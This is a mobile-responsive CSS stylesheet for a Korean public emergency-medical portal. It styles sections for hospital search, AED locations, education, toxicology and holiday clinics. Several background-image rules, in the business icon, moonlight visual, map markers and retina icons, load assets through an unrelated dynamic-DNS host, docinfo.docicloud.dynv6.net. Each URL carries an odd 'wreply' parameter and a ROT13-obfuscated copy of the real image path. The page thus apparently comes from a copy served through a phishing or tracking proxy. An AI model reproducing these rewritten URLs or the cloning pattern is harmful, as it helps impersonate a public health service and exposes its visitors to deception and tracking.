@charset "utf-8";

/* 스크린 > 480 */
@media only screen and (min-width: 481px) {
	.layout-scroll-controll { display:none !important; }
}

@media only screen and (max-width: 1900px) {
    .kids-visual-bottom { display:none; }
}

@media only screen and (max-width: 1279px) {
    .common-aside { display:none; }
}
@media only screen and (max-width: 360px) {
	.holiday-visual { width:auto; height:150px; background-size:360px 150px; background-position: 0px 60px; margin-bottom: 0px; padding-bottom: 60px;}
}
@media only screen and (min-width:361px) and (max-width: 420px) {
	.holiday-visual { width:auto; height:150px; background-size:420px 150px; background-position: 0px 60px; margin-bottom: 0px; padding-bottom: 60px;}
}
@media only screen and (min-width:421px) and (max-width: 480px) {
	.holiday-visual { width:auto; height:150px; background-size:480px 150px; background-position: 0px 60px; margin-bottom: 0px; padding-bottom: 60px;}
}
@media only screen and (max-width: 480px) {
	
	.temp { display:none; }
    
    .layout-contents { margin-top:10px; width:auto; min-width:100%; min-height:405px; padding-left:15px; padding-right:15px; border-top:1px solid #d5d5d5; box-sizing:border-box; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; }
    .layout-container { padding-top:51px; }
    .layout-scroll-controll { display:none; }
    
    .header { display:none; }
    .header-mobile { display:block; }

	/* sub header */
	.subheader { border-bottom:  none; }
	.subheader .subheader-row { position:relative; width:auto; margin:0 auto; }
	.subheader .subheader-row:after { content: " "; display: table; clear: both; }
	
	/* breadcrumb */
	.common-breadcrumb { display:table; table-layout:fixed; width:100%; }
	.common-breadcrumb .crumb-home { display:table-cell; vertical-align:top; float:none; width:30px; }
	.common-breadcrumb .crumb-depth { display:table-cell; vertical-align:top; float:none; background:transparent; }
	.common-breadcrumb .crumb-home .crumb-home-opener { background:transparent; line-height:30px; height:30px; padding:0 5px; }
	.common-breadcrumb .crumb-home .crumb-home-opener span { margin-top:10px; }
	.common-breadcrumb .crumb-opener { min-width:90% !important; line-height:normal; border-right:none; padding:11px 6px 10px; }
	.common-breadcrumb .crumb-opener.crumb-has-siblings span { min-width:auto; padding-right:15px; }
	.common-breadcrumb .crumb-opener span { display:block !important; min-width:auto !important; text-overflow:ellipsis;white-space:nowrap;overflow:hidden; font-size:11px; }
	.common-breadcrumb .crumb-dropdown ul li a { padding:6px 6px; font-size:9px; }
	
	/* 유틸 */
	.common-util { display:none; }
	
    /* 공통 */
    .response-hide { display:none !important; }
    .response-show { display:initial; }
    /* 좌우 마진 없애고 아래로 떨어뜨림 */
    .response-block { clear:both; falot:none !important; display:block !important; position:static !important; margin-top:10px !important; margin-left:0 !important; margin-right:0 !important; }
    .response-block + .response-block { margin-top:8px; }
    .response-block + .response-wide { margin-top:8px; }
    /* 좌우 마진 없애고 아래로 떨어뜨림 + width 100% */
    .response-wide { clear:both; falot:none !important; display:block !important; position:static !important; width:100% !important; margin-left:0 !important; margin-right:0 !important; box-sizing:border-box !important; -webkit-box-sizing:border-box !important; -moz-box-sizing:border-box !important; }
    .response-wide + .response-wide { margin-top:8px; }
    .response-wide + .response-block { margin-top:8px; }
    /* 정렬 */
    .response-left { text-align:left !important; }
    .response-center { text-align:center !important; }
    .response-right { text-align:right !important; }
    /* height init */
    .response-height { height:auto !important; min-height:auto !important; }
	.label-align-left { float:left; margin:5px 0; }
	.holiday-sidocode { max-width:72px; }
	
    /* 타이틀 */
	h1 { margin:0; }
	h2 { margin:0; font-size:24px; }
	h3 { margin:0; font-size:20px; }
	h4 { margin:0; font-size:16px; }
	h5 { margin:0; font-size:14px; }
	h6 { margin:0; font-size:13px; }
    
	/* heading group */
	.common-hgroup2 { margin:0 0 20px; padding-top:25px; }
	.common-hgroup2 p { display:none; margin-top:5px; font-size:14px; }
	.common-hgroup3 { margin:20px 0 15px; }
	.common-hgroup3 p { margin-top:5px; font-size:14px; }
	.common-hgroup4 { margin:15px 0 10px; }
	.common-hgroup4 p { margin-top:5px; font-size:13px; }
	.common-hgroup5 { margin:10px 0 5px; }
	.common-hgroup5 p { margin-top:5px; font-size:12px; }
	.common-hgroup6 { margin:6px 0 2px; }
	.common-hgroup6 p { margin-top:2px; font-size:12px; }

	/* 공간 x-large */
	.common-margin-t-xl { margin-top:20px !important; }
	.common-margin-b-xl { margin-bottom:20px !important; }
	.common-padding-t-xl { padding-top:20px !important; }
	.common-padding-b-xl { padding-bottom:20px !important; }
	
	/* 공간 xx-large */
	.common-margin-t-xxl { margin-top:30px !important; }
	.common-margin-b-xxl { margin-bottom:30px !important; }
	.common-padding-t-xxl { padding-top:30px !important; }
	.common-padding-b-xxl { padding-bottom:30px !important; }
	.common-ellipsis { display:inline-block; vertical-align:middle; max-width:300px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; }
	.notice-view .common-ellipsis { max-width:280px; }
	
	
	/* 바로가기 버튼 */
	.common-heading-quick { position:static; margin-top:10px; } 

    /* 탭 */
	.common-tabgroup-wrap .common-tabgroup { margin-bottom:0; }
    .common-tabgroup { margin-bottom:20px; }
    .common-tabgroup span em { display:none !important; }
    .common-tabgroup { width:auto; overflow:hidden; }
    .common-tabgroup.response-tabgroup-column1 { display:block; }
    .common-tabgroup.response-tabgroup-column1 span { display:block; margin-top:4px; }
    .common-tabgroup.response-tabgroup-column1 span:first-child { margin-top:none; }
    .common-tabgroup.response-tabgroup-column2 { display:block; }
    .common-tabgroup.response-tabgroup-column2 span { display:block; float:left; width:48%; margin-left:1%; margin-top:4px; }
    
    .common-tabgroup1.response-tabgroup-column2 { display:block; }
    .common-tabgroup1.response-tabgroup-column2 span { display:block; float:left; width:48%; margin-left:1%; margin-top:4px; }

	/* 경고문구 */
	.common-caution { padding:8px 15px; }
	.common-info { padding:8px 15px; }
	
	/* box */
	.common-box { padding:15px; } /* 흰배경&회색보더 */
	.common-box2 { padding:15px; } /* 흰배경&회색보더 */
	
	/* column */
	.common-column { clear:both; width:100% !important; margin-left:0 !important; margin-right:0 !important; }
	.common-column + .common-column { margin-top:10px; }
	.common-fixed-column6 { width:100%; }
	
	/* fieldset */
	.common-fieldset.response-fieldset .field-row .field-label { float:none; padding:0; margin-bottom:8px; }
	.common-fieldset.response-fieldset .common-field-guide { display:block; margin-top:10px; }

	/* fieldset : border type */
	.common-fieldset-board.response-fieldset .field-row .field-label { float:none; padding:0; margin-bottom:10px; }
	.common-fieldset-board.response-fieldset .common-field-guide { display:block; margin-top:10px; }
	
	/* table : board */
	.common-board tbody td { padding-left:2px; padding-right:2px; }
	
	/* 리스트 헤더 검색 */
	.common-list-header .list-header-summary { clear:both; float:none; margin-bottom:10px; }
	.common-list-header .list-header-detail { clear:both; float:right; }
	
	/* 첨부파일 다운로드 링크 */
	.common-link-download { float:right; }

	/* 게시판 목록 */
	.common-board-list .list-item .list-item-aside { position:static; margin-top:10px; margin-bottom:15px; }
	.common-board-list .list-item-info span { display:block !important; padding-left:0 !important; margin-left:0 !important; border:none !important; } 
	
	/* 게시판 상세 */
	.common-board-view .board-view-header .header-info .header-info-left { float:none !important; }
	.common-board-view .board-view-header .header-info .header-info-right { float:none !important; }
	.common-board-view .board-view-header .header-info span { display:block; margin:0 !important; padding:0 !important; border:none !important; line-height:1.4em; }
	/*.common-board-view .board-view-footer { display:none !important; }*/
	.common-board-navi { display:none !important; }
	
	/* 동영상게시판 */
	.common-board-view .board-view-detail .board-view-detail-contents-play { display: none; }
	.common-board-view .board-view-detail .board-view-detail-contents-subtitle { display: none; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none.dis_none { display:block; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none h6 { text-align: center; margin-top: 40px; font-size: 20px; margin-bottom: 40px;}
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-video-play-none-explanation { margin-left: 20px; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-video-play-none-explanation p { margin-bottom: 10px; font-weight: bold; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-video-play-none-explanation dl {}
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-video-play-none-explanation dt { font-weight: bold; margin-bottom: 10px; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-video-play-none-explanation dd { margin-left: 20px; margin-bottom: 10px;}
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-video-play-none-explanation a { margin-top: 30px;}
	
	/* 음성게시판 */
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-voice-play-none-explanation { margin-left: 20px; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-voice-play-none-explanation p { margin-bottom: 10px; font-weight: bold; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-voice-play-none-explanation dl {}
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-voice-play-none-explanation dt { font-weight: bold; margin-bottom: 10px; }
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-voice-play-none-explanation dd { margin-left: 20px; margin-bottom: 10px;}
	.common-board-view .board-view-detail .board-view-detail-contents-play-none .board-view-detail-voice-play-none-explanation a { margin-top: 30px;}
	
	
	/* 이미지 게시판 */
	.common-board-view .board-view-detail .board-view-detail-contents-image img { width: 380px; }
	.common-board-view .board-view-detail .board-view-detail-contents-subtitle.image { display: block; width: 380px; }
	.common-board-view .board-view-detail .board-view-detail-contents-subtitle.image .common-box-scroll { height: 100px;}
	/* 경고 */
	.common-alert h5 { font-size:16px; }

	/* visual */
	.common-article-visual { display:none; }
	
	/* footer */
	.layout-footer {min-width:320px; height:60px; background:#E5E8EC 0 0 repeat-x; }
	.layout-footer .footer-row1 { width:100%; display:none; }
	.layout-footer .footer-row2 { width:100%; border-top: 0 none; }
	.layout-footer .footer-address { position:static; padding-top:6px; }
	.layout-footer .footer-address p { font-size:9px; text-align:center; }
	.layout-footer .footer-logo { display:none; }
	.layout-footer .footer-logo { display:none; }
	.layout-footer .footer-mark { display:none; }
	.layout-footer .footer-address p.address { margin:0 0 !important; font-size:11px; line-height: 15px; color:#767F95; }
	.layout-footer .footer-address p.copyright { margin-top:5px; font-size:8px; line-height: 10px; font-weight: 500; color:#ADADAD; }

	/* 만족도 설문 */
	.common-feedback { display:none; }
	
	/* 리스트 없음 */
	.common-list-none { padding:40px 10px; }

	/* ==========================================================================
		모바일 전용
	   ========================================================================== */
	/* 배너 */
	.mobile-banner { display:block; }
	
	/* ==========================================================================
		NEMC
	   ========================================================================== */
	/* 메인 */
	.page-1100000000 .layout-contents { margin-bottom:0; }
	.nemc-main { padding-top:0; }
	.nemc-main-column1 { float:none; width:100%; }
	.nemc-main-column1 .column-inner { float:left; width:50%; }
	.nemc-main-column2 { float:none; width:100%; }
	.nemc-main-column3 { float:none; width:100%; }
	.nemc-main-column3 .column-inner { float:left; width:50%; }
	.nemc-main-column4 { position:static; float:none; width:100%; }
	.nemc-main-column5 { position:static; float:none; width:100%; }
	.nemc-system { height:145px; padding:15px; background-size:70px 65px; }
	.nemc-info { height:145px; padding:15px; }
	.nemc-info ul li { float:none; width:100%; }
	.nemc-info ul li img { width:19px; height:19px; } 	
	.nemc-business { height:auto; padding:15px; }
	.nemc-business ul li { font-size:11px; }
	.nemc-business ul li img { width:50px; height:50px; }
	.nemc-business .icon-business { width:50px; height:50px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.r-tra.be.xe%2Svzntrf%2Sarzp%2Sznva_ohfvarff_2k.cat'); background-size:240px 120px; } 
	.nemc-vision { height:80px; padding:15px; background-size:105px 70px; }
	.nemc-intro { height:80px; padding:15px; }
	.nemc-intro ul li img { width:21px; height:21px; }
	.nemc-intro ul li a { font-size:12px; } 	
	.nemc-greetings { height:70px; padding:15px 0 15px 15px; }
	.nemc-greetings p { font-size:12px; }
	.nemc-doc { height:70px; padding:15px; background-size:50px 50px; }
	.nemc-promotion { height:auto; }
	.nemc-promotion .item-view .item img.mode-pc { display:none; }
	.nemc-promotion .item-view .item img.mode-mobile { display:block; height:100px; }
	.nemc-notice ul li span { width:100%; }
	.nemc-service img { width:50px; height:50px; }
	.nemc-service .item-view { padding:0 12px; }
	.nemc-service ul li { display:inline-block; width:25%; font-size:11px; }

	/* ==========================================================================
		E-Gen
	   ========================================================================== */
	/* 메인 */
	.page-1200000000 .layout-contents { margin-bottom:0; }
	.egen-main-column1 { float:none; width:auto; margin-left:0; }
	.egen-main-column1 .column-inner { float:left; width:50%; }
	.egen-main-column2 { float:none; width:100%; }
	.egen-main-column2 .column-inner { float:left; width:50%; }
	.egen-main-column3 { float:none; width:100%; }
	.egen-main-column3 .column-inner { float:left; width:100%; }
	.egen-main-column3 .column-inner.mobile { display: block; }
	.egen-main-column3 .column-inner.homepage { display: none; }
	.egen-emergency { position:static; width:auto; height:120px; padding:15px; background-size:60px 60px; }
	.egen-hospital { height:120px; padding:15px; background-size:70px 70px; }
	.egen-ambulance { height:140px; padding:15px; background-size:76px 76px; }
	.egen-aed { height:140px; padding:15px; background-size:80px 80px; }
	.egen-firstaid { height:120px; padding:15px; background-size:70px 70px; }
	.egen-etc { height:76px; padding:15px; }
	.egen-etc ul li { float: left; width: 50%; }
	.egen-etc ul li img { width:40px; height:40px; }
	.egen-etc ul li a { font-size:16px; }
	.egen-notice { height:205px; margin:10px 0; padding:0 15px; margin-top:0px; }
	.egen-notice .item-view span { display:block; text-overflow:ellipsis;white-space:nowrap;overflow:hidden; } 	

	.egen-etc ul li.move_interval { display: none; }
	.egen-etc ul li.move_interval.on { display: block; }
	
	.egen-service img { width:50px; height:50px; }
	.egen-service .item-view { padding:0 12px; }
	.egen-service ul li { display:inline-block; width:33%; font-size:11px; }

	/* ==========================================================================
		교육
	   ========================================================================== */
	/* 메인 */
	.page-1400000000 .layout-contents { margin-bottom:0; }
	.edu-visual { display:none; }
	.edu-main-column1 { width:auto; padding-top:0; }
	.edu-main-column1 .column-inner { float:left; width:50%; }
	.edu-main-column2 .column-inner1 { clear:both; float:none; width:auto; height:auto; }
	.edu-main-column2 .column-inner2 { clear:both; float:none; width:auto; }
	.edu-main-column3 .column-inner1 { float:left; width:50%; }
	.edu-main-column3 .column-inner2 { float:left; width:50%; }
	.edu-main-column4 { position:static; width:auto; }
	.edu-intro { height:140px; background-size:105px 75px; }
	.edu-course { height:140px; background-size:125px 75px; }
	.edu-lecture { height:auto; background-image:none; }
	.edu-schedule .schedule-body .schedule-list li { padding-left:0; text-indent:0; }
	.edu-schedule .schedule-body .schedule-list li span { display:block; width:180px; text-overflow:ellipsis; white-space:nowrap; overflow:hidden; }
	.edu-schedule .schedule-body .schedule-list li span.common-btn { width:50px; }
	.edu-schedule .schedule-body .schedule-list li span:before { content:''; }
	.edu-institute { height:140px; background-size:90px 75px; }
	.edu-issue { height:140px; background-size:75px 75px; }
	.edu-notice ul li span { width:100%; }

	/* ==========================================================================
		달빛어린이병원
	   ========================================================================== */
	/* 메인 */
	.service-moonlight .layout-container {
		margin-top:50px;
		padding-top:130px;
		background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.r-tra.be.xe%2Svzntrf%2Szbbayvtug%2Sznva_ivfhny_z.cat') center 0 no-repeat;
		background-size:480px 130px;
	 }
	.service-moonlight .layout-contents { border-radius:0; margin-bottom:0; }
	.service-moonlight .moonlight-visual { background:none; padding-bottom:0; }
	.kids-main .kids-map-search .filter-category { padding-left:20px; text-align:left; }
	.kids-visual-bottom { display:none; }


	/* ==========================================================================
		독성정보관리
	   ========================================================================== */
	/* 메인 */
	.page-1400000000 .layout-contents { margin-bottom:0; }
	.toxinfo-main-column1 { width:auto; padding-top:0; }
	.toxinfo-main-column1 { float:none; width:100%; }
	.toxinfo-main-column2 { float:none; width:100%; }
	.toxinfo-main-column3 { float:none; width:100%; }
	.toxinfo-system-intro { position:static; width:auto; height:140px; background-size:60px 60px; }
	.toxinfo-info-search { height:140px; background-size:60px 60px; }
	.toxinfo-antdt-usg { height:140px; background-size:60px 60px; }
	.toxinfo-antdt-rqst { height:140px; background-size:60px 60px; }
	.toxinfo-analysis { height:140px; background-size:60px 60px; }
	.toxinfo-search { height:140px; }
	.toxinfo-visual {display:none;}
	.tox-familysite {display:none;}
	/* ==========================================================================
		기타
	   ========================================================================== */
	/* 달력 피커 */
	.ui-datepicker-trigger { display:none; }
	
	/* 지도 */
	.map-body { /*height:405px;*/ min-height:405px; }
    .map-body-info.holiday { margin-top:160px; }
    .map-body .map-view { height:405px; }
	.map-body .map-list { width:250px; }
	.map-body .place-list-wrap { height:405px; overflow:auto; }
	.map-body .place-list .marker em { font-size:10px; }
	.map-body .place-detail { width:auto; padding:5px 10px; }
	.map-body .place-list li { background-position:-3px 0; }
	.map-body .place-detail h5 { max-width:130px; font-size:12px; padding-right:10px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.r-tra.be.xe%2Svzntrf%2Spbzzba%2Svpba_neebj_evtug.cat') right center no-repeat; background-size:5px 8px; }
	.map-body .place-list .info { padding:12px 10px 12px 44px; }
	.map-body .place-list .info .info-category { font-size:11px; }
	.map-body .place-list .info .info-tel { font-size:11px; }
	.map-body .place-list .info .info-addr  { font-size:11px; }
	.map-body .place-list .info .info-addr-new  { font-size:11px; }
	.map-body .place-list .info .info-addr-old { display:none; }
	.map-body .place-list .info .info-location { font-size:11px; }
	.map-body .place-list .marker { left:0; width:44px; }
	.map-body .place-list .marker .marker-number { background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.r-tra.be.xe%2Svzntrf%2Spbzzba%2Sznc_znexre_yvfg_2k.cat') 0 0 no-repeat; background-size:24px 300px; }
	.map-body .map-opener { bottom:18px; }
	.map-body.on .map-layout { height:405px; margin-right:148px; }
	.map-body.on .map-opener { right:250px; }
	.map-header p.balance-info { margin-left:0 !important; }
	.map-filter-detail-general { width:100%; border-top:1px solid #2d2d2d; border-bottom:1px solid #2d2d2d; background:#fafafa; }
	.holiday-filter-detail-general { width:100%; border-top:1px solid #2d2d2d; border-bottom:1px solid #2d2d2d; background:#fafafa; }
	/* select + label {margin-left:10px;} */
	.holiday-desc {margin-left:10px;}
	.label-margin {margin-left:5px;}
	
	.holiday_time .time { float:left; width:50%; }
	.holiday_time .highlight { float:left; width:50%; }
	.screening_center_time .time { float:left; width:50%; }
	.search-emogtype { display:inline-block; margin:10px 0 0 0; }
	.work-day.holiday { width:50% !important; }
	
	/* 지도 셀렉트 */
	.map-body .map-select { width:126px; }

	/* 지도 검색 필터 */
	.map-filter-detail { margin-top:15px; }
	.map-filter-detail .map-filter-group-detail.type-columb3 li { float:none; width:auto; }
	.map-filter-detail .map-filter-group-detail.type-columb6 li { float:none; width:auto; }

	/* 지도 페이지네이션 */
	.map-pagination .page-btn-page.page-type-first { display:none; }
	.map-pagination .page-btn-page.page-type-last { display:none; }
	
	/* 상세보기 */
	.search-place-view .place-info-detail .place-detail-view ul li { width:100%; }
	
	/* ==========================================================================
		명절 병의원 찾기
	   ========================================================================== */
	
	/* 메인 */
	.page-holiday { background:none; }
	.emergency-visual { width:auto; height:150px; background-size:480px 150px; background-position: 0px 60px; margin-bottom: 0px; padding-bottom: 60px;}
	.emergency-visual-contents {font-size:10px;}
	.emergency-visual-contents img { width:100px; }
	.holiday-medical-field {font-size:11.5px};
	.mob-dis-non {display:none;}
	select + span {margin-left:20px;}
	.emergency-text{width:100%;float:left; text-align:center;}
	
	/* ==========================================================================
		교육 > 교육사업소개
	   ========================================================================== */
	/* 교육과정 구성 */
	.edu-curriculum-wrap .curriculum-flow ul li { float:none; margin-left:0; margin-top:10px; }
	.edu-curriculum-wrap .curriculum-flow ul li:before { content:''; }
	.edu-curriculum-wrap .curriculum-flow ul li:first-child { margin-top:0; }
	.common-hgroup4.education-info { margin-top:36px; }

	/* ==========================================================================
		교육 > 교육신청
	   ========================================================================== */
	/* 교육신청안내 */
	.edu-apply-info-wrap .apply-flow { margin-bottom:20px; }
	.edu-apply-info-wrap .apply-flow ul li { float:none; margin-left:0; margin-top:10px; }
	.edu-apply-info-wrap .apply-flow ul li:before { content:''; }
	.edu-apply-info-wrap .apply-flow ul li:first-child { margin-top:0; }
	
	.survey-view .common-board-view .survey-view-group .imageBox img { max-width:390px; }
	
	
	/* common-tabgroup의 변형 : half-tabgroup */
	div.half-tabgroup {
		width: 100%;
	}
	
	
	/* 병원 찾기 페이지 */
	.current_treat_time {
		top:0px !important;
	}
	
	[for="nightcareon"] {
		margin-left: 0px !important;
    	margin-top: 10px !important;
	}
	
	.service-toxinfo .rmMl {
		margin-left: 0px !important;
	}
	
	/* 약국 찾기 csv 다운로드 버튼 숨김 처리*/
	#csvDownloadButton {
		display: none;
	}
	
	.icon-place-status.type3.two-rows.general {
		height:40px;
	}
	
	
	/* AED 일반 검색시 사용 가능 시간 표출 */
	.time-info .time-data {width: 50%;}
	
}

@media (-webkit-min-device-pixel-ratio:2), (min-resolution:192dpi) {
	/* 지도 장소 분류 아이콘 */
	.icon-place-category { background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.r-tra.be.xe%2Svzntrf%2Spbzzba%2Sznc_pngrtbel_2k.cat'); background-size:60px 150px; }
	/* 위치 */
	.common-icon-gps { background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.r-tra.be.xe%2Svzntrf%2Spbzzba%2Svpba_tcf_2k.cat'); background-size:9px 12px; }
}

